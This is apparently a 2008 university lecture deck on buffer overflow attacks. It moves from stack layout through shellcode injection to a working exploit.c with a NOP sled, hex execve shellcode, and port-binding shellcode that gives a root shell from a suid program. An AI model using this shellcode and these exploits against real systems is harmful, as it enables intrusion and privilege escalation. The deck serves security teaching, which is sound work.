72
November 2008 Buffer Overflow 1 King Mongkut’s University of Technology Faculty of Information Technology Network Security Winter 2008 Prof. Reuven Aviv Buffer Overflow Attacks

Prof. Reuven Aviv

  • Upload
    lynton

  • View
    46

  • Download
    0

Embed Size (px)

DESCRIPTION

King Mongkut’s University of Technology Faculty of Information Technology Network Security Winter 2008. Prof. Reuven Aviv. Buffer Overflow Attacks. Prelude. W32.Blaster revisited. - PowerPoint PPT Presentation

Citation preview

Page 1: Prof. Reuven Aviv

November 2008 Buffer Overflow 1

King Mongkut’s University of TechnologyFaculty of Information Technology

Network SecurityWinter 2008

Prof. Reuven Aviv

Buffer Overflow Attacks

Page 2: Prof. Reuven Aviv

November 2006 Buffer Overflow 2

Prelude

W32.Blaster revisited

Page 3: Prof. Reuven Aviv

November 2006 Buffer Overflow 3

• “W32.Blaster scans networks looking for

computers that are vulnerable to the Microsoft

RPC Buffer Overflow. To infect vulnerable

machines, the worm connects to port 135/TCP and

opens a command shell that listens on port

4444/TCP. It then opens a Trivial FTP server on

port 69/UDP on the target machine. Using the

command shell, the worm instructs the target

machine to download its payload via the Trivial

FTP server. The command shell is used to execute

the downloaded file”.

Page 4: Prof. Reuven Aviv

November 2006 Buffer Overflow 4

W32.Blaster infects EPM process• End Point Mapper process – very important

– EPM Process listens on port 135

– RPC servers register name & port on EPM

– RPC clients requests the info from EPM

• EPM includes GetMachineName(…) function

– extracts a name from a longer string

– puts it in local buffer (in stack)

– didn’t check for length of supplied name

– In reality, it was a long malicious string

– A shell!.. that eventually runs instead of EPM

Page 5: Prof. Reuven Aviv

November 2006 Buffer Overflow 5

contents• 1. The Stack

• 2. Flooding the stack in your own program

• 3. Making your program execute a bad code

by flooding it into the stack

• 4. Buffer overflow attack of another process

• Appendices

• 1. The basic shellcode

• 2. port binding shellcode

Page 6: Prof. Reuven Aviv

November 2006 Buffer Overflow 6

1. The Stack

Page 7: Prof. Reuven Aviv

November 2006 Buffer Overflow 7

Process Memory Organization

LoAddr

HiAddr

return address of function

Code

Stack

Heap

Variables

Stack

Page 8: Prof. Reuven Aviv

November 2006 Buffer Overflow 8

2. Flooding the stack in your own program

Page 9: Prof. Reuven Aviv

November 2006 Buffer Overflow 9

Flooding a buffer: flow1.c

void function(char *str) {

char buffer[8];

strcpy(buffer, str); } what’s the problem here?

void main() {

char large_string[256];

int i;

for( i = 0; i < 255; i++)

large_string[i] = 'A';

function(large_string); } what will happen?

Page 10: Prof. Reuven Aviv

November 2006 Buffer Overflow 10

Arguments & Local variables pushed to stack

RET AddressOf function()

buffer

Page 11: Prof. Reuven Aviv

November 2006 Buffer Overflow 11

strcopy() starts executing

Arguments& local VariablesOf strcopyNot drawn

RET AddressOf function()

buffer

Page 12: Prof. Reuven Aviv

November 2006 Buffer Overflow 12

Strcopy is executed

LoAddr

HiAddrRET AddressOf function

Page 13: Prof. Reuven Aviv

November 2006 Buffer Overflow 13

strcopy is executing: buffer is full

LoAddr

HiAddr RET AddressOf function

Page 14: Prof. Reuven Aviv

November 2006 Buffer Overflow 14

strcopy is executing: Buffer Overflows

RET AddressOf function

Page 15: Prof. Reuven Aviv

November 2006 Buffer Overflow 15

Buffer Overflows

RET AddressOf function

Page 16: Prof. Reuven Aviv

November 2006 Buffer Overflow 16

Buffer Overflows

RET AddressOf function

Page 17: Prof. Reuven Aviv

November 2006 Buffer Overflow 17

function() returns to address out of memory space

LoAddr

HiAddr RET AddressOf function

Page 18: Prof. Reuven Aviv

November 2006 Buffer Overflow 18

Compile & run the self flooding program

OSPrompt /* waiting for my command

OSPrompt gcc –o flow1 flow1.c /* compiling

OSPrompt ./flow1 /* running the program

“Segmentation fault” /*The OS announce failure

OSPrompt /* back to the prompt

Page 19: Prof. Reuven Aviv

3. Making your program execute a bad code

by flooding it into the stack

November 2008 Buffer Overflow 19

Page 20: Prof. Reuven Aviv

November 2006 Buffer Overflow 20

Injecting a bad code to the stack

• Inject a bad code

into the memory

space of the process,

and

• set the return

address to point back

to the code

Code

Stack

Heap

Bad Code

Page 21: Prof. Reuven Aviv

November 2006 Buffer Overflow 21

Injecting a bad code to our program

Bad CodeBad Code

Page 22: Prof. Reuven Aviv

November 2006 Buffer Overflow 22

How a bad code is constructed (briefly)

char shellcode [ ] = “ about 100 chars “ ;

an array. In binary it is the injected bad code

This code for example will spawn a shell (shellcode)

A program that waits for a command

It modifies itself.

It has to be in DATA segment, so that your compiler will not know it is a code

Char shellcode [] = /* injected code 45 bytes*/“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”“\x89\xf3\xbd\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”“\x80\xe8\xdc\xff\xff\xff\/bin/sh”

Page 23: Prof. Reuven Aviv

November 2006 Buffer Overflow 23

Overflowing buffer with shellcode: flow2.c

char shellcode[]="\xeb\x1f\….\xb0\x0b\xff/bin/sh";45 bytes

char large_string[128];

void main()

{ char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer;

/*fill large_string array with address of buffer*/

for (i = 0; i < strlen(shellcode); i++)

large_string[i] = shellcode[i]; first 45 bytes with shellcode

strcpy(buffer, large_string); } flood local buffer

Page 24: Prof. Reuven Aviv

November 2006 Buffer Overflow 24

We want to go from here

Code

Data

Stack

RET Addr.Of main()

Page 25: Prof. Reuven Aviv

November 2006 Buffer Overflow 25

To here: When main() returns, a shell startsRET Addr.Of main()

DATA

Page 26: Prof. Reuven Aviv

November 2006 Buffer Overflow 26

Initializing large_string with addresses Of buffer

Code

Data

Stack

RET Addr.Of main()

Page 27: Prof. Reuven Aviv

November 2006 Buffer Overflow 27

copy first 45 bytes of large_string with shellcode

Code

Data

Stack

RET Addr.Of main()

Page 28: Prof. Reuven Aviv

November 2006 Buffer Overflow 28

Copy large_string to smaller buffer in stack

Code

Data

Stack

RET Addr.Of main()

Page 29: Prof. Reuven Aviv

November 2006 Buffer Overflow 29

Overflow writes address of shellcode to RET

Stack

Data

Code

RET Addr.Of main()

Page 30: Prof. Reuven Aviv

November 2006 Buffer Overflow 30

When main() returns, a shell startsRET Addr.Of main()

DATA

Page 31: Prof. Reuven Aviv

November 2006 Buffer Overflow 31

Overflowing Buffer with shellcode: flow2.c

char shellcode[]="\xeb\x1f\….\xb0\x0b\xff/bin/sh";45 bytes

char large_string[128];

void main()

{ char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer;

/*fill large_string array with address of buffer*/

for (i = 0; i < strlen(shellcode); i++)

large_string[i] = shellcode[i]; first 45 bytes with shellcode

strcpy(buffer, large_string); } flood local buffer

Page 32: Prof. Reuven Aviv

November 2006 Buffer Overflow 32

Compile an run your program

• OSPrompt /* OS waiting to my command

• OSprompt gcc – o flow2 flow.c /* compile

• OSPrompt ./flow2 /* run the program

• $ /* prompt of the bad code */

• $ exit /* I command the bad code to exit

• OSPrompt /* OS waiting to my command

Page 33: Prof. Reuven Aviv

November 2006 Buffer Overflow 33

4. Buffer overflow attack ofanother process

Attacking Program: exploit.cAttacked Program: victim.c

Page 34: Prof. Reuven Aviv

November 2006 Buffer Overflow 34

Buffer overflow Attack: Overflowing another (victim) process

• Passing payload (shellcode+) from the attacking (exploit) process to victim process:

– via standard input, network, environ var, pipe…

• Assume victim code has a vulnerable function func that overflows its local buffer with the payload

• How exploit knows where on the stack of victim is the location of RET of func?

• What is the shellcode address that we write there?

Page 35: Prof. Reuven Aviv

November 2006 Buffer Overflow 35

Overcoming our ignorance of the location of RET address of func and address of shellcode

•find SP (Stack

Pointer) in exploit

•guess offset

•addr = SP - offset

•payload:

•addr, addr, …

•Shellcode

•NOP, NOP, …

SP

addrLocalbuffer

Overflowoffset

Payload:

IP

Page 36: Prof. Reuven Aviv

November 2006 Buffer Overflow 36

The victim program: victim.c

• void main (int argc, char *argv[]) {

• char buffer [512] /* the local buffer

• if argc > 1 strcpy (buffer, argv[1]) ;

• }

• /*The vulnerable function func is here strcpy()

• /* the argument to victim will have the payload

Page 37: Prof. Reuven Aviv

November 2006 Buffer Overflow 37

The attacking program: exploit.c

/* exploit gets two CL args: buffer size and offset.

It puts payload in environment variable EGG */

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define NOP 0x90

char shellcode[]="\xeb\x1f\.........\x0b\xff/bin/sh"; 45B

unsigned long get_sp(void) { return current SP__asm__(“movel %esp, %eax);

}

Page 38: Prof. Reuven Aviv

November 2006 Buffer Overflow 38

void main( int argc, *char argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset = DEFAULT_OFFSET; int bsize = DEFAULT_BUFFER_SIZE; int i; if (argc >1 ) bsize = atoi(argv[1]); if argc > 2 offset = atoi(argv[2]); if (!(buff = malloc(bsize))) {printf (“no memory\n”);exit(0)}

addr = get_sp() – offset; printf (“Using address: 0x%x\n”, addr);

Page 39: Prof. Reuven Aviv

November 2006 Buffer Overflow 39

ptr = buff; addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i += 4) *(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++) buff[i] = NOP;

ptr = buff + ((bsize/2) – strlen(shellcode)/2));

for (i= 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff [bsize -1] = \0;

memcpy (buff, “EGG=“, 4);

putenv(buff);

system(“/bin/bash”); /*

} /* end exploit.c */

EGG=NOP NOP…Shellcode … addr addr addr…

Page 40: Prof. Reuven Aviv

November 2006 Buffer Overflow 40

Run the two programs

MyPrompt ./exploit 612 run exploit guess offset

Using address: 0xbffffdb4 /* exploit anaounce

MyPrompt ./victim $EGG /* run victim

/* victim gets payload in an environment variable

EGG*/

$ /* prompt from victim at exploit machine,

waiting for command

Page 41: Prof. Reuven Aviv

Appendices:

1. The basic shellcode

2. Port Binding Shell code

November 2008 Buffer Overflow 41

Page 42: Prof. Reuven Aviv

Appendix 1: The basic shellcode

November 2008 Buffer Overflow 42

Page 43: Prof. Reuven Aviv

November 2006 Buffer Overflow 43

Strategy to build bad code

• 1. Write a bad code in C. Usually it spawns a shell

– Basically this is execve(/bin/sh, …)

• 2. Compile to assembly code

• 3. get machine code (in hex)

• 4. copy machine code in hex into the shellcode array

• Several modifications along the way

– Addresses (e.g. of /bin/sh) problem

– \0 problem

Page 44: Prof. Reuven Aviv

November 2006 Buffer Overflow 44

Step 1: Spawning a Shell – in C

#include <stdio.h>

#include <stdlib.h>

void main() {

char *name[2]; /* array of two pointers*/

name[0] = "/bin/sh";

name[1] = NULL;

execve(name[0], name, NULL); }

/* name is a pointer to array of two pointers */

Page 45: Prof. Reuven Aviv

November 2006 Buffer Overflow 45

Assembler for main()(Procedure prelude)

0x8000130 pushl %ebp save current FP on stack

0x8000131 movl %esp, %ebp new FP := SP

0x8000133 subl $0x8, %esp move SP 8 bytes

(Space for local var – 2 pointers: char *name [2] )

All addresses of variables are relative to FP (%ebp)

Preparing data structures for exec on the stack

0x8000136 movl $0x80027b8, 0xfffffff8(%ebp)

(copy address of /bin/sh into first element of name[])

(name[0] = “/bin/sh”;)

0x800013d movl $0x0, 0xfffffffc(%ebp)

(copy 0 (NULL) to second element of name[])

Page 46: Prof. Reuven Aviv

November 2006 Buffer Overflow 46

calling execve from main()

(Pushing 3 arguments of execve - start from third)

0x8000144 pushl $0x0 the NULL argument

0x8000146 leal 0xfffffff8(%ebp), %eax

(copy address of array, i.e. (ebp)-8, to eax)

0x8000149 pushl %eax now push it to stack

0x800014a movl 0xfffffff8(%ebp), %eax

(copy address of /bin/sh, which is in (ebp)-8, to eax)

0x800014d pushl %eax now push it to stack

0x800014e call 0x80002bc call execve

(call will push IP – the return address – to stack)

Page 47: Prof. Reuven Aviv

November 2006 Buffer Overflow 47

main() after execve returned

0x8000153 addl $0xc, %esp SP goes down by 12

(free the stack from the three arguments of exceve)

0x8000156 movl %ebp, %esp

(make SP points to saved FP, just above the RET)

0x8000158 popl %ebp recover saved FP

(now SP points to the RET address)

0x8000159 ret

(ret will pop RET address, pointed to by SP, into IP)

Page 48: Prof. Reuven Aviv

November 2006 Buffer Overflow 48

execve assembly codeNote: Syscalls in Linux need arguments in registers

(procedure prelude)

0x80002bc pushl %ebp save current FP on stack

0x80002bd movl %esp, %ebp new FP:= SP

(ebp, frame pointer, now points to top of stack, above

the end of the three pointer arguments prepared

for exceve. The arguments are at offsets 8, 12, 16

0x80002bf pushl %ebx

(We need the use of this register, so save it)

Page 49: Prof. Reuven Aviv

November 2006 Buffer Overflow 49

execve assembly code (2)

0x80002c0 movl $0xb, %eax put 11 in eax

(11 is the Syscall ID of execve)

0x80002c5 movl 0x8(%ebp), %ebx

0x80002c8 movl 0xc(%ebp), %ecx

0x80002cb movl 0x10 (%ebp), %edx

(copy three arguments from stack to registers)

0x80002ce int 0x80

(Software interrupt – execute the Syscall)

Page 50: Prof. Reuven Aviv

November 2006 Buffer Overflow 50

Summary - to run execve we need to:

• Have a Null terminated String /bin/sh in memory

• Have address of the String /bin/sh in memory

• Have a NULL address (long) after that

– Together this is the two pointers array

• Copy Syscall ID of execve (11 = oxb) to eax

• Copy address of the String /bin/sh to ebx (1’st arg)

• Copy addr. of the address of the String to ecx

– 2’nd arg - the address of the two pointers array

• Copy address of the NULL to edx - third arg

• Execute int 0x80

Page 51: Prof. Reuven Aviv

November 2006 Buffer Overflow 51

The address of /bin/sh String

• In general Shellcode need to find it at runtime why?

• Also true for all other addresses of strings

• The jmp call trick:

– Put CALL at end of program, with String /bin/sh just after that

– When CALL is executed, its return address = address of the String, will be pushed to Stack

– Pop the address from stack

• All addresses will be offset from this address

Page 52: Prof. Reuven Aviv

November 2006 Buffer Overflow 52

1. jmp 0x26 jump to call at the bottom2. popl %esi pop address of string to esi3. movl %esi, 0x8 (%esi) put its address after the string4. movb $0x0, 0x7(%esi) put \0 at end of string5. movl $0x0, oxc(%esi) put NULL address after

that6. movl $0xb, %eax put Syscall id (11) in eax7. movl %esi, %ebx put address of string in ebx7. leal 0x8(%esi), %ecx put address of address in

ecx8. leal 0xc(%esi), %edx put addr. of NULL addr in edx9. int $0x80 software interrupt to kernel10. movl $0x1, %eax put Syscall id of exit () in eax11. movl $0x0, %ebx put argument of exit (0) in ebx12. int $0x80 software interrupt to kernel13. call -0x2b jump to instruction 2 (popl)14. .string \”/bin/sh\” String

Page 53: Prof. Reuven Aviv

November 2006 Buffer Overflow 53

Removing Null Bytes why?

• 1. Generate a 0 in a register

– xorl %eax, %eax

• replace 0 argument by content of eax:

• movb $0x0, 0x7(%esi) movb %eax, 0x7(%esi)

• movl $0x0, 0xc(%esi) movl %eax, 0xc(%esi)

• 2. movl $0xb, %eax movb $0xb, %al

• 3. movl $0x1, %eax

– xorl %eax, %eax; inc %eax

Page 54: Prof. Reuven Aviv

November 2006 Buffer Overflow 54

\xeb\x1f jmp 0x1f \x5e popl %esi\x89\x76\x08 movl %esi,0x8(%esi)\x31\xc0 xorl %eax,%eax\x88\x46\x07 movb %eax,0x7(%esi)\x89\x46\x0c movl %eax,0xc(%esi)\xb0\x0b movb $0xb,%al\x89\xf3 movl %esi,%ebx\x8d\x4e\x08 leal 0x8(%esi),%ecx\x8d\x56\x0c leal 0xc(%esi),%edx\xcd\x80 int $0x80\x31\xdb xorl %ebx,%ebx\x89\xd8 movl %ebx,%eax\x40 inc %eax\xcd\x80 int $0x80\xe8\xdc\xff\xff\xff call -0x24/bin/sh .string \"/bin/sh\”

The basic shell-code: 45 Bytes

Page 55: Prof. Reuven Aviv

Appendix 2: Port Binding Shellcode

November 2008 Buffer Overflow 55

Page 56: Prof. Reuven Aviv

November 2006 Buffer Overflow 56

Taeho Ho: Advanced Buffer Overflow exploithttp://www.windowsecurity.com/uplarticle/1/advanced.txt

Port Binding Shellcode scenario

Child process executes vulnerable strcpy()

Parent sends a payload to child process

Payload includes Port Binding shellcode

Child process runs the shellcode

Child opens a socket, waiting for commands

Parent sends a command to child

Page 57: Prof. Reuven Aviv

November 2006 Buffer Overflow 57

The vulnerable program: victim2.c

• int main(int argc, char **argv)

• {

• char buffer[1024];

• if(argc>1)

• strcpy(buffer, argv[1]);

• }

Page 58: Prof. Reuven Aviv

November 2006 Buffer Overflow 58

exploit

• exploit forks a child process

• child executes victim2 program

• Parent passes a pointer to payload to child

– Child copies payload to buffer, overflows

– Child executes a shell listening on a port

• Parent:

– Communicate via socket with child

– user input directed to child

– Child response printed on stdout

Page 59: Prof. Reuven Aviv

November 2006 Buffer Overflow 59

Design the shellcode: a simple port binding server

int soc, cli; struct sockaddr_in theAddr;

int main() {

if(fork()==0) { new process

theAddr.sin_family=2; AF_INET

theAddr.sin_addr.s_addr=0; Any address

theAddr.sin_port=0x77; theAddr points to [2,0,0x77]

soc=socket(2,1,6); AF_INET, TCP, IP

bind(soc, (struct sockaddr *)&theAddr,0x10);

listen(soc,1); cli=accept(soc,0,0);

dup2(cli,0); stdin, sdout, stderr = cli

dup2(cli,1); dup2(cli,2);

execl("/bin/sh","sh",0); }}

Page 60: Prof. Reuven Aviv

November 2006 Buffer Overflow 60

disassemble fork()

"\x31\xc0“ xorl %eax, %eax

"\xb0\x02“ movb $0x2,%al fork() id to %al

"\xcd\x80" int $0x80 software interrupt

Page 61: Prof. Reuven Aviv

November 2006 Buffer Overflow 61

disassemble socket(2,1,6)"\x31\xc0“ xorl %eax,%eax

"\x31\xdb“ xorl %ebx,%ebx

"\x89\xf1“ movl %esi,%ecx point %ecx to array of args

"\xb0\x02“ movb $0x2,%al 1’st arg to %al

"\x89\x06“ movl %eax, (%esi) %esi points 1’st arg

"\xb0\x01“ movb $0x1,%al 2’nd arg to %al

"\x89\x46\x04“ movl %eax,0x4(%esi) 2’nd arg after 1’st

"\xb0\x06“ movb $0x6,%al 3’rd arg to %al

"\x89\x46\x08“ movl %eax,0x8(%esi) 3’rd arg after 2’nd

"\xb0\x66“ movb $0x66,%al sock syscalls id =66 to %al

"\xb3\x01“ movb $0x1,%bl socket() ID = 1 in %bl

"\xcd\x80“ int $0x80 interrupt. %eax has ret. val (soc)

Page 62: Prof. Reuven Aviv

November 2006 Buffer Overflow 62

disassemble bind(soc, &theAddr, 0x10)"\x89\xf1" movl %esi,%ecx %ecx will point to all args "\x89\x06" movl %eax, (%esi) 1’st arg, soc, stored at esi"\xb0\x02“ movb $0x2,%al 2 (AF_INET) to %al"\x66\x89\x46\x0c“ movw %ax, 0xc(%esi) 2,0 stored at esi + 12"\xb0\x77“ movb $0x77,%al port num to %al"\x66\x89\x46\x0e“ movw %ax, 0xe(%esi) port stored at esi + 14"\x8d\x46\x0c“ leal 0xc(%esi),%eax & of theADDR is esi +12"\x89\x46\x04“ movl %eax, 0x4(%esi) 2’nd arg stored at esi+4"\x31\xc0“ xorl %eax,%eax"\x89\x46\x10“ movl %eax,0x10(%esi) 0 stored at esi +

16"\xb0\x10 “ movb $0x10,%al 16 into %al"\x89\x46\x08“ movl %eax,0x8(%esi) 3’rd arg stored at esi+8"\xb0\x66“ movb $0x66,%al socket syscalls = 66 to %al"\xb3\x02“ movb $0x2,%bl bind() id to %bl"\xcd\x80“ int $0x80 interrupt.

Page 63: Prof. Reuven Aviv

November 2006 Buffer Overflow 63

disassemble listen(soc, 1)

"\x89\xf1“ movl %esi,%ecx %ecx will point to all args

"\x89\x06" movl %eax, (%esi) 1’st arg stored at esi

"\xb0\x01“ movb $0x1,%al 2’nd arg to %al

"\x89\x46\x04“ movl %eax,0x4(%esi) 2’nd arg at esi+4

"\xb0\x66“ movb $0x66,%al socket syscalls id = 66 to %al

"\xb3\x04“ movb $0x4,%bl listen() id = 4 to %bl

"\xcd\x80“ int $0x80 interrupt

Note: % eax has soc when subroutines return

Page 64: Prof. Reuven Aviv

November 2006 Buffer Overflow 64

disassemble accept(soc, 0, 0)

"\x89\xf1“ movl %esi,%ecx %ecx will point to

args

"\x89\xf1“ movl %eax, (%esi) 1’st arg (soc) at esi

"\x31\xc0“ xorl %eax,%eax

"\x89\x46\x04“ movl %eax,0x4(%esi) 0 at esi+4

"\x89\x46\x08“ movl %eax,0x8(%esi) 0 at esi + 8

"\xb0\x66“ movb $0x66,%al

"\xb3\x05“ movb $0x5,%bl accept() id = 5 to %bl

"\xcd\x80“ int $0x80

Returned value, cli, is in %eax

Page 65: Prof. Reuven Aviv

November 2006 Buffer Overflow 65

Disassemble dup2(cli, 0)

"\x88\xc3“ movb %al,%bl 1’st arg (cli) to %bl

"\xb0\x3f“ movb $0x3f,%al dup2() id = 63 to %al

"\x31\xc9“ xorl %ecx,%ecx 2’nd arg (0) to %ecl

"\xcd\x80“ int $0x80

Page 66: Prof. Reuven Aviv

November 2006 Buffer Overflow 66

Shell code\xb0\x02 movb $0x2,%al \xcd\x80 int $0x80\x85\xc0 testl %eax,%eax\x75\x43 jne 0x43\xeb\x43 jmp 0x43\x5e popl %esi\x31\xc0 xorl %eax,%eax\x31\xdb xorl %ebx,%ebx\x89\xf1 movl %esi,%ecx\xb0\x02 movb $0x2,%al\x89\x06 movl %eax,(%esi)\xb0\x01 movb $0x1,%al\x89\x46\x04 movl %eax,0x4(%esi)

\xb0\x06 movb $0x6,%al\x89\x46\x08 movl %eax,0x8(%esi)

\xb0\x66 movb $0x66,%al\xb3\x01 movb $0x1,%bl\xcd\x80 int $0x80\x89\x06 movl %eax,(%esi)\xb0\x02 movb $0x2,%al\x66\x89\x46\x0c movw %ax,0xc(%esi)

\xb0\x77 movb $0x77,%al\x66\x89\x46\x0e movw %ax,0xe(%esi)

\x8d\x46\x0c leal 0xc(%esi),%eax\x89\x46\x04 movl %eax,0x4(%esi)

\xcd\x80 int $0x80\xb0\x3f movb $0x3f,%al\xb1\x01 movb $0x1,%cl\xcd\x80 int $0x80\xb0\x3f movb $0x3f,%al\xb1\x02 movb $0x2,%cl\xcd\x80 int $0x80\xb8\x2f\x62\x69\x6e movl $0x6e69622f,%eax

\x89\x06 movl %eax,(%esi)\xb8\x2f\x73\x68\x2f movl $0x2f68732f,%eax

\x89\x46\x04 movl %eax,0x4(%esi)\x31\xc0 xorl %eax,%eax\x88\x46\x07 movb %al,0x7(%esi)\x89\x76\x08 movl %esi,0x8(%esi)\x89\x46\x0c movl %eax,0xc(%esi)\xb0\x0b movb $0xb,%al\x89\xf3 movl %esi,%ebx\x8d\x4e\x08 leal 0x8(%esi),%ecx\x8d\x56\x0c leal 0xc(%esi),%edx\xcd\x80 int $0x80\x31\xc0 xorl %eax,%eax\xb0\x01 movb $0x1,%al\x31\xdb xorl %ebx,%ebx\xcd\x80 int $0x80\xe8\x5b\xff\xff\xff call -0xa5

\x31\xc0 xorl %eax,%eax\x89\x46\x10 movl %eax,0x10(%esi)

\x89\x46\x08 movl %eax,0x8(%esi)

\xb0\x66 movb $0x66,%al

\xb3\x02 movb $0x2,%bl

\xcd\x80 int $0x80

\xeb\x04 jmp 0x4

\xeb\x55 jmp 0x55

\xeb\x5b jmp 0x5b

\xb0\x01 movb $0x1,%al\x89\x46\x04 movl %eax,0x4(%esi)

\xb0\x66 movb $0x66,%al

\xb3\x04 movb $0x4,%bl

\xcd\x80 int $0x80

\x31\xc0 xorl %eax,%eax\x89\x46\x04 movl %eax,0x4(%esi)

\x89\x46\x08 movl %eax,0x8(%esi)

\xb0\x66 movb $0x66,%al

\xb3\x05 movb $0x5,%bl

\xcd\x80 int $0x80

\x88\xc3 movb %al,%bl

\xb0\x3f movb $0x3f,%al

\x31\xc9 xorl %ecx,%ecx

Page 67: Prof. Reuven Aviv

November 2006 Buffer Overflow 67

exploit

• exploit forks a child process

• child executes victim2 program

• parent pass a pointer to payload to child

– Child copies payload to buffer, overflows

– Child executes a shell listening on a port

• Parent:

– Communicate via socket with child

– user input directed to child

– child response printed on stdout

Page 68: Prof. Reuven Aviv

November 2006 Buffer Overflow 68

exploit.c

#define ALIGN 0 /*buf should be multiple of 4 */

#define OFFSET 0 /* default offset */

#define RET_POSITION 1024

#define RANGE 20

#define NOP 0x90

NOP, NOP

Shellcode

addr, addraddr, addr,..

RET_POSITION

0

range

\0

Payload

Page 69: Prof. Reuven Aviv

November 2006 Buffer Overflow 69

exploit (cont’d)

char shellcode[]=

"\x31\xc0\xb0\x02\xcd\x80…\”;

unsigned long get_sp(void) /* get stack pointer*/

{ __asm__("movl %esp,%eax"); }

long getip(char *name) {/*get IP addr. Of name*/}

int exec_sh(int sockfd) { /*used by parent */

/* copy stdin to sockfd; copy sockfd to stdout*/}

int connect_sh(long IP) {/*connect to IP*/}

Page 70: Prof. Reuven Aviv

November 2006 Buffer Overflow 70

exploit (cont’d)void main(int argc, char **argv) { char buff[RET_POSITION + RANGE + ALIGN +1 ], *ptr; long addr; unsigned long sp; int offset=OFFSET, bsize=RET_POSITION+RANGE+ALIGN+1; int i, sockfd;

if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset;

for(i=0; i < bsize; i += 4) { /*flush addr into buff - little endian*/

buff[i+ALIGN] = (addr&0x000000ff); /*LSB first*/ buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;

buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } /* MSB last */

Page 71: Prof. Reuven Aviv

November 2006 Buffer Overflow 71

exploit (cont’d) for(i=0; i <bsize-RANGE*2-strlen(shellcode)-1; i++) buff[i]=NOP; /* fill bottom of buff with NOP */ /* next fill buff with shellcode */

ptr = buff + bsize - RANGE*2 - strlen(shellcode) -1;for(i=0; i < strlen(shellcode); i++) *(ptr++)=shellcode[i]; buff[bsize-1]='\0'; /*make buff a C string */

printf("Jump to 0x%08x\n",addr);

if(fork()==0) { /* child process */

execl("./vulnerable4","vulnerable4", buff, 0); exit(0); }

sleep(5); /*from here the parent process */sockfd=connect_sh(getip("127.0.0.1")); /*connect with child */exec_sh(sockfd); } /* user interaction with child via parent */

Page 72: Prof. Reuven Aviv

November 2006 Buffer Overflow 72

Running the exploit

$ ls –l victim2-rwsr-xr-x 1 root root … victim2 suid root

$ ./exploit Jump to 0xbfffec64 Connect to the shell Can't connect to the shell

$ ./exploit4 500 Jump to 0xbfffea70 Connect to the shell whoami root